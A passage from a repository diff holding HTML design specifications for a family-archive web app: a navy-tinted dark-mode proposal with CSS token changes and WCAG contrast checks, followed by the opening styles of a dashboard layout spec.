<div class="dark-yr-bad">1923 <span class="dark-yr-count-bad">5 Briefe</span></div>
|
||||
<div class="dark-item-bad">
|
||||
<div class="di-id">W-0396</div>
|
||||
<div class="di-title">2. September 1923 — B.Lichterfelde</div>
|
||||
<div class="di-meta">2. September 1923 · Herbert Cram</div>
|
||||
</div>
|
||||
<div class="dark-item-bad">
|
||||
<div class="di-id">W-0397</div>
|
||||
<div class="di-title">2. September 1923 — B.Lichterfelde</div>
|
||||
<div class="di-meta">2. September 1923 · Herbert Cram</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="sc">Header (#012851) on canvas (#0d0d0d) = 2.1:1. Items (#1a1a1a) on canvas (#0d0d0d) barely distinct. ink-3 (#6b7280) on surface = 3.2:1 — WCAG FAIL.</div>
|
||||
</div>
|
||||
|
||||
<!-- PROPOSED (good) -->
|
||||
<div class="sb">
|
||||
<div class="sl">Proposed dark mode <span class="sz">Navy-tinted</span></div>
|
||||
<div class="wf">
|
||||
<div class="wf-bar"><div class="dot r"></div><div class="dot y"></div><div class="dot g"></div><div class="urlbar"><span>localhost:5173/korrespondenz</span></div></div>
|
||||
<div class="dark-good">
|
||||
<div class="HDR" style="background:#a1dcd8"></div>
|
||||
<div class="NAV">
|
||||
<span class="NAV-logo">FAMILIENARCHIV</span>
|
||||
<span class="NAV-link">Documents</span>
|
||||
<span class="NAV-link">Persons</span>
|
||||
<span class="NAV-link on">Correspondence</span>
|
||||
<div class="NAV-r">DE · EN · ES ☀ 🔔 👤</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dark-body-good">
|
||||
<div class="dark-filter-good">
|
||||
<div>
|
||||
<div class="fl">Person</div>
|
||||
<div class="fv">Walter de Gruyter</div>
|
||||
</div>
|
||||
<div style="margin-left:8px">
|
||||
<div class="fl">Period</div>
|
||||
<div class="fv">From … To …</div>
|
||||
</div>
|
||||
<div style="margin-left:8px">
|
||||
<div class="fl">Korrespondent — Optional</div>
|
||||
<div class="fv">Alle Korrespondenten</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dark-timeline-good">
|
||||
<div class="dark-yr-good">2012 <span class="dark-yr-count-good">1 Brief</span></div>
|
||||
<div class="dark-item-good">
|
||||
<div class="di-id">W-0325</div>
|
||||
<div class="di-title">15. Juli 2012 — Allerheiligen</div>
|
||||
<div class="di-meta">15. Juli 2012 · Allerheiligen · Hans de Gruyter</div>
|
||||
</div>
|
||||
<div class="dark-yr-good">1940 <span class="dark-yr-count-good">1 Brief</span></div>
|
||||
<div class="dark-item-good">
|
||||
<div class="di-id">W-0968</div>
|
||||
<div class="di-title">31. Mai 1940 — Belgard</div>
|
||||
<div class="di-meta">31. Mai 1940 · Belgard · Gertrud von Rofden</div>
|
||||
</div>
|
||||
<div class="dark-yr-good">1923 <span class="dark-yr-count-good">5 Briefe</span></div>
|
||||
<div class="dark-item-good">
|
||||
<div class="di-id">W-0396</div>
|
||||
<div class="di-title">2. September 1923 — B.Lichterfelde</div>
|
||||
<div class="di-meta">2. September 1923 · Herbert Cram</div>
|
||||
</div>
|
||||
<div class="dark-item-good">
|
||||
<div class="di-id">W-0397</div>
|
||||
<div class="di-title">2. September 1923 — B.Lichterfelde</div>
|
||||
<div class="di-meta">2. September 1923 · Herbert Cram</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="sc">Header (#01335e) on canvas (#010e1e) = clear layering. Items (#011526) on canvas visually distinct via navy hue shift. ink-3 (#8b97a5) on surface = 7.1:1 — WCAG AAA ✓.</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Dark Mode CSS Tokens <span>Apply to both @media and [data-theme='dark'] blocks in layout.css</span></div>
|
||||
<table>
|
||||
<thead><tr><th>CSS variable</th><th>Current (wrong)</th><th>Replace with</th><th>Role</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>--c-canvas</code></td><td><span style="color:#f85149">#0d0d0d</span></td><td><code class="ir-px">#010e1e</code></td><td>Page background — very dark navy</td></tr>
|
||||
<tr><td><code>--c-surface</code></td><td><span style="color:#f85149">#1a1a1a</span></td><td><code class="ir-px">#011526</code></td><td>Card / panel backgrounds</td></tr>
|
||||
<tr><td><code>--c-overlay</code></td><td><span style="color:#f85149">#242424</span></td><td><code class="ir-px">#011e38</code></td><td>Dropdowns, modals</td></tr>
|
||||
<tr><td><code>--c-muted</code></td><td><span style="color:#f85149">#252525</span></td><td><code class="ir-px">#011a30</code></td><td>Hover bg, inset areas</td></tr>
|
||||
<tr><td><code>--c-line</code></td><td><span style="color:#f85149">#3d3d3d</span></td><td><code class="ir-px">#0d3358</code></td><td>Primary borders</td></tr>
|
||||
<tr><td><code>--c-line-2</code></td><td><span style="color:#f85149">#2e2e2e</span></td><td><code class="ir-px">#092843</code></td><td>Subtle / secondary borders</td></tr>
|
||||
<tr><td><code>--c-ink-3</code></td><td><span style="color:#f85149">#6b7280 ← BUG (3.2:1 fail)</span></td><td><code class="ir-px">#8b97a5</code></td><td>Secondary labels — fix WCAG AA failure</td></tr>
|
||||
<tr><td><code>--c-header</code> (new)</td><td>— (header used bg-brand-navy directly)</td><td><code class="ir-px">#01335e</code></td><td>Header bg in dark mode — elevated above canvas</td></tr>
|
||||
<tr><td><code>--c-ink</code></td><td colspan="2"><span style="color:#7ee787">#f0efe9 — keep unchanged</span></td><td>Warm sand-white — brand-connected, WCAG AAA ✓</td></tr>
|
||||
<tr><td><code>--c-ink-2</code></td><td colspan="2"><span style="color:#7ee787">#9ca3af — keep unchanged</span></td><td>8.4:1 on new surface — WCAG AAA ✓</td></tr>
|
||||
<tr><td><code>--c-primary</code></td><td colspan="2"><span style="color:#7ee787">#a1dcd8 — keep unchanged</span></td><td>Mint — inverted primary for dark mode buttons ✓</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="note">
|
||||
<strong>Why navy-tinted dark and not flat black?</strong> The De Gruyter Brill brand is built on navy as its anchor. A candlelit reading room — the product's primary use environment — has warm, directional light, not uniform darkness. Navy-tinted dark surfaces give every screen a sense of depth and brand identity at a glance. Flat black backgrounds feel like a code editor; navy-tinted backgrounds feel like an academic reference library at night.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
3. TOKEN CHANGES
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">3</span> Token Changes — <code>layout.css</code></div>
|
||||
|
||||
<p style="font-size:11px;color:#666;margin-bottom:16px;line-height:1.6">
|
||||
The following changes apply to both <code>@media (prefers-color-scheme: dark) :root:not([data-theme='light'])</code>
|
||||
and <code>:root[data-theme='dark']</code>. Both blocks must be kept in sync.
|
||||
The ink-3 fix additionally resolves the inconsistency between the two blocks.
|
||||
</p>
|
||||
|
||||
<table class="tok-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Token</th>
|
||||
<th>Current value</th>
|
||||
<th>Proposed value</th>
|
||||
<th>Contrast on proposed surface</th>
|
||||
<th>Status</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code>--c-canvas</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#0d0d0d"></div><span class="hex">#0d0d0d</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#010e1e"></div><span class="hex">#010e1e</span></div></td>
|
||||
<td>— (page background)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-surface</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#1a1a1a"></div><span class="hex">#1a1a1a</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#011526"></div><span class="hex">#011526</span></div></td>
|
||||
<td>— (card backgrounds)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-overlay</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#242424"></div><span class="hex">#242424</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#011e38"></div><span class="hex">#011e38</span></div></td>
|
||||
<td>— (dropdown/modal)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-muted</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#252525"></div><span class="hex">#252525</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#011a30"></div><span class="hex">#011a30</span></div></td>
|
||||
<td>— (inset areas, hover bg)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-line</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#3d3d3d"></div><span class="hex">#3d3d3d</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#0d3358"></div><span class="hex">#0d3358</span></div></td>
|
||||
<td>— (borders)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-line-2</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#2e2e2e"></div><span class="hex">#2e2e2e</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#092843"></div><span class="hex">#092843</span></div></td>
|
||||
<td>— (subtle borders)</td>
|
||||
<td><span class="tag-new">Change</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-ink</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#f0efe9;border-color:#ccc"></div><span class="hex">#f0efe9</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#f0efe9;border-color:#ccc"></div><span class="hex">#f0efe9</span> (unchanged)</div></td>
|
||||
<td>#f0efe9 on #011526 = 17.8:1 — WCAG AAA ✓</td>
|
||||
<td><span class="tag-ok">Keep</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-ink-2</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#9ca3af"></div><span class="hex">#9ca3af</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#9ca3af"></div><span class="hex">#9ca3af</span> (unchanged)</div></td>
|
||||
<td>#9ca3af on #011526 = 8.4:1 — WCAG AAA ✓</td>
|
||||
<td><span class="tag-ok">Keep</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-ink-3</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#6b7280"></div><span class="hex">#6b7280</span> <span class="tag-bad">BUG</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#8b97a5"></div><span class="hex">#8b97a5</span></div></td>
|
||||
<td>#8b97a5 on #011526 = 7.1:1 — WCAG AAA ✓</td>
|
||||
<td><span class="tag-new">Fix</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-accent</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#00c7b1"></div><span class="hex">#00c7b1</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#00c7b1"></div><span class="hex">#00c7b1</span> (unchanged)</div></td>
|
||||
<td>Decorative use only — OK</td>
|
||||
<td><span class="tag-ok">Keep</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-primary</code></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#a1dcd8"></div><span class="hex">#a1dcd8</span></div></td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#a1dcd8"></div><span class="hex">#a1dcd8</span> (unchanged)</div></td>
|
||||
<td>#a1dcd8 on #012851 (btn bg) = 7.4:1 — WCAG AAA ✓</td>
|
||||
<td><span class="tag-ok">Keep</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>--c-header</code> <em>(new)</em></td>
|
||||
<td>— (header was always bg-brand-navy)</td>
|
||||
<td><div class="swatch-pair"><div class="swatch" style="background:#01335e"></div><span class="hex">#01335e</span></div></td>
|
||||
<td>Header elevated above dark canvas</td>
|
||||
<td><span class="tag-new">Add</span></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<div class="note" style="margin-top:20px">
|
||||
<strong>New header token strategy:</strong> Add <code>--color-header: var(--c-header)</code> to the <code>@theme inline</code> block. In light mode set <code>--c-header: #012851</code> (same as now). In dark mode set <code>--c-header: #01335e</code>. Replace <code>bg-brand-navy</code> on the header element with <code>bg-header</code>. This keeps all logic in CSS — no Svelte conditionals needed.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
4. CONTRAST VERIFICATION
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">4</span> Contrast Verification — Proposed Tokens</div>
|
||||
|
||||
<div class="ctest">
|
||||
|
||||
<div class="ct" style="background:#011526">
|
||||
<div class="ct-label" style="color:#8b97a5">Surface #011526</div>
|
||||
<div class="ct-sample" style="color:#f0efe9">Document title</div>
|
||||
<div class="ct-ratio ct-pass">ink (#f0efe9) → 17.8:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:#9ca3af;font-size:11px">Metadata label</div>
|
||||
<div class="ct-ratio ct-pass">ink-2 (#9ca3af) → 8.4:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:#8b97a5;font-size:11px">Date / secondary</div>
|
||||
<div class="ct-ratio ct-pass">ink-3 (#8b97a5) → 7.1:1 AAA ✓</div>
|
||||
</div>
|
||||
|
||||
<div class="ct" style="background:#010e1e">
|
||||
<div class="ct-label" style="color:#8b97a5">Canvas #010e1e</div>
|
||||
<div class="ct-sample" style="color:#f0efe9">Year heading 2012</div>
|
||||
<div class="ct-ratio ct-pass">ink (#f0efe9) → 18.6:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:#a1dcd8;font-size:11px">W-0325 doc ID</div>
|
||||
<div class="ct-ratio ct-pass">accent (#a1dcd8) → 9.2:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:#00c7b1;font-size:11px">Active person bar</div>
|
||||
<div class="ct-ratio ct-pass">turquoise (#00c7b1) → 8.1:1 AAA ✓</div>
|
||||
</div>
|
||||
|
||||
<div class="ct" style="background:#01335e">
|
||||
<div class="ct-label" style="color:rgba(255,255,255,.4)">Header #01335e</div>
|
||||
<div class="ct-sample" style="color:#ffffff">FAMILIENARCHIV</div>
|
||||
<div class="ct-ratio ct-pass">white (#fff) → 12.4:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:rgba(255,255,255,.65);font-size:11px">Nav links</div>
|
||||
<div class="ct-ratio ct-pass">white/65 → 8.1:1 AAA ✓</div>
|
||||
<div class="ct-sample" style="color:#a1dcd8;font-size:11px">Active nav underline</div>
|
||||
<div class="ct-ratio ct-pass">mint (#a1dcd8) → 5.9:1 AA ✓</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Old tokens for comparison -->
|
||||
<div style="margin-top:20px">
|
||||
<div class="sl">Current tokens — failing cases</div>
|
||||
<div class="ctest">
|
||||
<div class="ct" style="background:#1a1a1a">
|
||||
<div class="ct-label" style="color:#9ca3af">Current surface #1a1a1a</div>
|
||||
<div class="ct-sample" style="color:#6b7280;font-size:11px">Date / secondary</div>
|
||||
<div class="ct-ratio ct-fail">ink-3 (#6b7280) → 3.2:1 FAIL ✗</div>
|
||||
</div>
|
||||
<div class="ct" style="background:#0d0d0d">
|
||||
<div class="ct-label" style="color:#9ca3af">Current canvas #0d0d0d</div>
|
||||
<div class="ct-sample" style="color:#012851;font-size:13px">Header bg</div>
|
||||
<div class="ct-ratio ct-fail">header (#012851) → 2.1:1 — not distinct</div>
|
||||
</div>
|
||||
<div class="ct" style="background:#1a1a1a">
|
||||
<div class="ct-label" style="color:#9ca3af">Item on canvas</div>
|
||||
<div style="height:20px;background:#0d0d0d;border-radius:3px;margin:4px 0"></div>
|
||||
<div class="ct-ratio ct-fail">surface/canvas delta: ~10 lightness points — rows blend together</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
5. IMPLEMENTATION — EXACT CSS DIFF
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">5</span> Implementation — Exact CSS Changes in <code>layout.css</code></div>
|
||||
|
||||
<div style="background:#1e1e2e;border-radius:8px;padding:20px 24px;font-family:monospace;font-size:11px;line-height:1.8;color:#cdd6f4;overflow-x:auto">
|
||||
|
||||
<div style="color:#6c7086;margin-bottom:8px">/* ─── 4. Light mode — ADD new header token ─────────────────── */</div>
|
||||
<div><span style="color:#a6e3a1">:root {</span></div>
|
||||
<div style="color:#6c7086;padding-left:16px">/* ... existing tokens unchanged ... */</div>
|
||||
<div style="padding-left:16px"><span style="color:#a6e3a1">--c-header: #012851;</span> <span style="color:#6c7086">/* same as brand-navy in light mode */</span></div>
|
||||
<div><span style="color:#a6e3a1">}</span></div>
|
||||
<br>
|
||||
|
||||
<div style="color:#6c7086">/* ─── @theme inline — ADD header token mapping ─────────────── */</div>
|
||||
<div><span style="color:#cba6f7">@theme inline {</span></div>
|
||||
<div style="color:#6c7086;padding-left:16px">/* ... existing mappings unchanged ... */</div>
|
||||
<div style="padding-left:16px"><span style="color:#cba6f7">--color-header: var(--c-header);</span></div>
|
||||
<div><span style="color:#cba6f7">}</span></div>
|
||||
<br>
|
||||
|
||||
<div style="color:#6c7086">/* ─── 5. Dark mode — both blocks get these changes ─────────── */</div>
|
||||
<div style="color:#6c7086">/* Apply to BOTH the @media block AND the :root[data-theme='dark'] block */</div>
|
||||
<br>
|
||||
|
||||
<div style="color:#f38ba8">/* REMOVE */</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-canvas: #0d0d0d;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-surface: #1a1a1a;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-overlay: #242424;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-muted: #252525;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-line: #3d3d3d;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-line-2: #2e2e2e;</div>
|
||||
<div style="color:#f38ba8;padding-left:16px">--c-ink-3: #6b7280; <span style="color:#6c7086">/* manual override only — BUG: same as light mode */</span></div>
|
||||
<br>
|
||||
|
||||
<div style="color:#a6e3a1">/* ADD */</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-canvas: #010e1e;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-surface: #011526;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-overlay: #011e38;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-muted: #011a30;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-line: #0d3358;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-line-2: #092843;</div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-ink-3: #8b97a5; <span style="color:#6c7086">/* now consistent with @media block */</span></div>
|
||||
<div style="color:#a6e3a1;padding-left:16px">--c-header: #01335e; <span style="color:#6c7086">/* elevated header — stands out above dark canvas */</span></div>
|
||||
<br>
|
||||
|
||||
<div style="color:#6c7086">/* ─── +layout.svelte — change header class ─────────────────── */</div>
|
||||
<div style="color:#f38ba8">/* REMOVE: bg-brand-navy on the <header> element */</div>
|
||||
<div style="color:#a6e3a1">/* ADD: bg-header on the <header> element */</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="note" style="margin-top:16px">
|
||||
<strong>No JS changes required.</strong> All theming stays in CSS custom properties. The ThemeToggle component continues to set <code>data-theme="dark"</code> on <code>:root</code>. The only Svelte change is replacing <code>bg-brand-navy</code> → <code>bg-header</code> on the <code><header></code> tag in <code>+layout.svelte</code>.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════
|
||||
6. DESIGN RATIONALE
|
||||
════════════════════════════════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">6</span> Design Rationale</div>
|
||||
|
||||
<div class="sg sg-3">
|
||||
<div>
|
||||
<div class="sl">Brand coherence</div>
|
||||
<p style="font-size:11px;line-height:1.7;color:#444">
|
||||
The De Gruyter Brill identity anchors on navy blue. In light mode, navy dominates as text, headers, and primary buttons on white. In dark mode, it should dominate as backgrounds. The experience should feel like entering the same room with different lighting — not switching to a different product.
|
||||
</p>
|
||||
</div>
|
||||
<div>
|
||||
<div class="sl">Academic reading context</div>
|
||||
<p style="font-size:11px;line-height:1.7;color:#444">
|
||||
Family archive users read long document lists and correspondence timelines in dark mode — often in low-light evening contexts. A navy-tinted dark is easier on the eyes than pure black, which creates harsh halos around light text (the "halation" effect). The sand-white ink (<code>#f0efe9</code>) on deep navy replicates the warm tonality of aged paper under low light.
|
||||
</p>
|
||||
</div>
|
||||
<div>
|
||||
<div class="sl">WCAG & senior users</div>
|
||||
<p style="font-size:11px;line-height:1.7;color:#444">
|
||||
All proposed text/background combinations exceed WCAG AAA (7:1). The current <code>ink-3</code> failure is particularly harmful for senior users reading small metadata text (dates, sender names). The proposed palette removes the failure and elevates all secondary text to AAA.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div><!-- /doc -->
|
||||
</body>
|
||||
</html>
|
||||
887
docs/specs/dashboard-classic-split-final-spec.html
Normal file
887
docs/specs/dashboard-classic-split-final-spec.html
Normal file
@@ -0,0 +1,887 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Dashboard — Classic Split · Final Design Spec · Familienarchiv</title>
|
||||
<style>
|
||||
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
|
||||
body{font-family:'Helvetica Neue',Arial,sans-serif;background:#ECEAE4;color:#1A1A1A;line-height:1.5}
|
||||
.doc{max-width:1440px;margin:0 auto;padding:48px 32px}
|
||||
|
||||
/* ── Masthead ─── */
|
||||
.mast{background:#0D2240;border-radius:10px;padding:32px 40px;margin-bottom:48px}
|
||||
.mast-top{display:flex;align-items:flex-start;justify-content:space-between;gap:24px;margin-bottom:16px}
|
||||
.mast h1{font-size:22px;font-weight:900;color:#fff;letter-spacing:-.4px;margin-bottom:6px}
|
||||
.mast p{font-size:12px;color:rgba(255,255,255,.5);max-width:660px;line-height:1.7}
|
||||
.mast-badge{font-size:9px;font-weight:800;padding:3px 9px;border-radius:20px;text-transform:uppercase;letter-spacing:.8px;white-space:nowrap;flex-shrink:0;margin-top:4px;background:#A6DAD8;color:#002850}
|
||||
.decisions{display:grid;grid-template-columns:repeat(5,1fr);gap:10px;margin-top:20px;border-top:1px solid rgba(255,255,255,.1);padding-top:16px}
|
||||
.dec{background:rgba(255,255,255,.06);border-radius:6px;padding:10px 12px}
|
||||
.dec-label{font-size:7px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:rgba(255,255,255,.35);margin-bottom:5px}
|
||||
.dec-value{font-size:9.5px;font-weight:700;color:#fff;line-height:1.5}
|
||||
.dec-value s{color:rgba(255,255,255,.3);font-weight:400}
|
||||
|
||||
/* ── Section headings ─── */
|
||||
.sec{margin-bottom:64px}
|
||||
.sec+.sec{border-top:2px dashed #C8C4BE;padding-top:56px}
|
||||
.sec-h{font-size:11px;font-weight:800;text-transform:uppercase;letter-spacing:1.2px;color:#888;margin-bottom:20px;display:flex;align-items:center;gap:10px}
|
||||
.sec-h::after{content:'';flex:1;height:1px;background:#D8D4CE}
|
||||
.sec-num{background:#0D2240;color:#fff;font-size:9px;font-weight:900;padding:2px 7px;border-radius:10px}
|
||||
|
||||
/* ── Screen grid ─── */
|
||||
.sg{display:grid;gap:20px;align-items:start}
|
||||
.sg-2{grid-template-columns:1fr 1fr}
|
||||
.sg-mob{grid-template-columns:240px 1fr}
|
||||
.sb{display:flex;flex-direction:column;gap:10px}
|
||||
.sl{font-size:9px;font-weight:800;color:#888;text-transform:uppercase;letter-spacing:1.5px;margin-bottom:6px;display:flex;align-items:center;gap:6px}
|
||||
.sz{background:#E8E4DF;color:#666;padding:1px 5px;border-radius:3px;font-size:8px}
|
||||
.sc{font-size:8.5px;color:#888;margin-top:6px;font-style:italic;line-height:1.5}
|
||||
|
||||
/* ── Annotation callouts ─── */
|
||||
.ann{display:inline-block;font-size:7.5px;font-weight:700;color:#C2410C;background:#FFF7ED;border:1px solid #FDBA74;border-radius:3px;padding:1px 5px;white-space:nowrap}
|
||||
.ann-block{background:#FFF7ED;border:1px solid #FDBA74;border-radius:5px;padding:8px 10px;font-size:10px;color:#7C2D12;line-height:1.5;margin-top:10px}
|
||||
.ann-block strong{font-weight:800}
|
||||
.ann-block ul{padding-left:14px;display:flex;flex-direction:column;gap:3px;margin-top:5px}
|
||||
|
||||
/* ── Mock browser chrome ─── */
|
||||
.wf{background:#fff;border:2px solid #B8B4AE;border-radius:10px;overflow:hidden;box-shadow:0 4px 18px rgba(0,0,0,.08)}
|
||||
.wf-bar{height:24px;background:#E8E4DF;border-bottom:1px solid #C8C4BE;display:flex;align-items:center;padding:0 9px;gap:4px}
|
||||
.dot{width:7px;height:7px;border-radius:50%}
|
||||
.dot.r{background:#F87171}.dot.y{background:#FCD34D}.dot.g{background:#4ADE80}
|
||||
.urlbar{flex:1;height:11px;background:#D8D4CE;border-radius:3px;margin-left:6px;display:flex;align-items:center;padding:0 5px}
|
||||
.urlbar span{font-size:7.5px;color:#888;font-family:monospace}
|
||||
|
||||
/* ── Nav bar ─── */
|
||||
.N{height:34px;background:#002850;display:flex;align-items:center;padding:0 14px;gap:10px;flex-shrink:0}
|
||||
.N-accent{height:2px;background:#A6DAD8}
|
||||
.logo{font-size:7.5px;font-weight:900;color:#fff;letter-spacing:1px;text-transform:uppercase}
|
||||
.nl{font-size:6.5px;color:rgba(255,255,255,.45);font-weight:700;text-transform:uppercase;letter-spacing:.5px;padding:3px 6px}
|
||||
.nl.on{color:#fff}
|
||||
.nr{margin-left:auto;display:flex;gap:5px;align-items:center}
|
||||
.nico{width:18px;height:18px;background:rgba(255,255,255,.1);border-radius:3px;display:flex;align-items:center;justify-content:center}
|
||||
.av{width:18px;height:18px;background:#A6DAD8;border-radius:50%;font-size:5.5px;font-weight:900;color:#002850;display:flex;align-items:center;justify-content:center}
|
||||
.bell-dot{width:4px;height:4px;background:#A6DAD8;border-radius:50%;position:absolute;top:2px;right:2px}
|
||||
|
||||
/* ── Page body ─── */
|
||||
.MAIN{padding:12px 16px;background:#F5F4EF;display:flex;flex-direction:column;gap:8px}
|
||||
|
||||
/* ── Search bar ─── */
|
||||
.SEARCH{display:flex;gap:6px;align-items:center}
|
||||
.SEARCH-BOX{flex:1;height:28px;background:#fff;border:1.5px solid #E0DDD5;border-radius:3px;display:flex;align-items:center;gap:6px;padding:0 9px}
|
||||
.SEARCH-BOX input{border:none;outline:none;font-size:8px;color:#1a1a1a;flex:1;background:transparent}
|
||||
.SEARCH-BOX input::placeholder{color:#C8C4BE}
|
||||
.FILTER-BTN{height:28px;background:#fff;border:1.5px solid #E0DDD5;border-radius:3px;padding:0 9px;font-size:7px;font-weight:800;letter-spacing:.08em;text-transform:uppercase;color:#555;display:flex;align-items:center;gap:4px}
|
||||
|
||||
/* ── Resume strip ─── */
|
||||
.RESUME{background:#fff;border:1px solid #E0DDD5;border-radius:3px;padding:5px 10px;font-size:7.5px;color:#555;display:flex;align-items:center;gap:5px}
|
||||
.RESUME strong{color:#002850;font-weight:600}
|
||||
|
||||
/* ── Dashboard grid ─── */
|
||||
/* No align-items → default is stretch → equal column heights */
|
||||
.DASH-GRID{display:grid;grid-template-columns:1fr 200px;gap:8px}
|
||||
|
||||
/* ── Recent docs card ─── */
|
||||
.CARD{background:#fff;border:1px solid #E0DDD5;border-radius:3px;overflow:hidden;display:flex;flex-direction:column}
|
||||
.CARD-HEAD{display:flex;align-items:center;justify-content:space-between;padding:8px 10px 7px;border-bottom:1px solid #E0DDD5}
|
||||
.CARD-HEAD h3{font-size:7px;font-weight:800;letter-spacing:.12em;text-transform:uppercase;color:#999}
|
||||
.CARD-HEAD a{font-size:7px;font-weight:600;color:#002850;opacity:.45;text-decoration:none}
|
||||
.DOC-ROW{display:flex;align-items:baseline;justify-content:space-between;padding:5px 10px;border-bottom:1px solid #F0EDE6}
|
||||
.DOC-ROW:last-of-type{border-bottom:none}
|
||||
.DOC-TITLE{font-family:Georgia,serif;font-size:8px;color:#002850}
|
||||
.DOC-DATE{font-size:6.5px;color:#C8C4BE;white-space:nowrap;margin-left:6px;flex-shrink:0}
|
||||
.CARD-FOOT{padding:6px 10px;border-top:1px solid #F0EDE6}
|
||||
.CARD-FOOT-TEXT{font-size:6.5px;color:#C8C4BE}
|
||||
|
||||
/* ── Sidebar ─── */
|
||||
/* height:100% fills the grid cell so right column matches left column height */
|
||||
.SIDEBAR{display:flex;flex-direction:column;gap:8px;height:100%}
|
||||
|
||||
/* ── Upload zone ─── */
|
||||
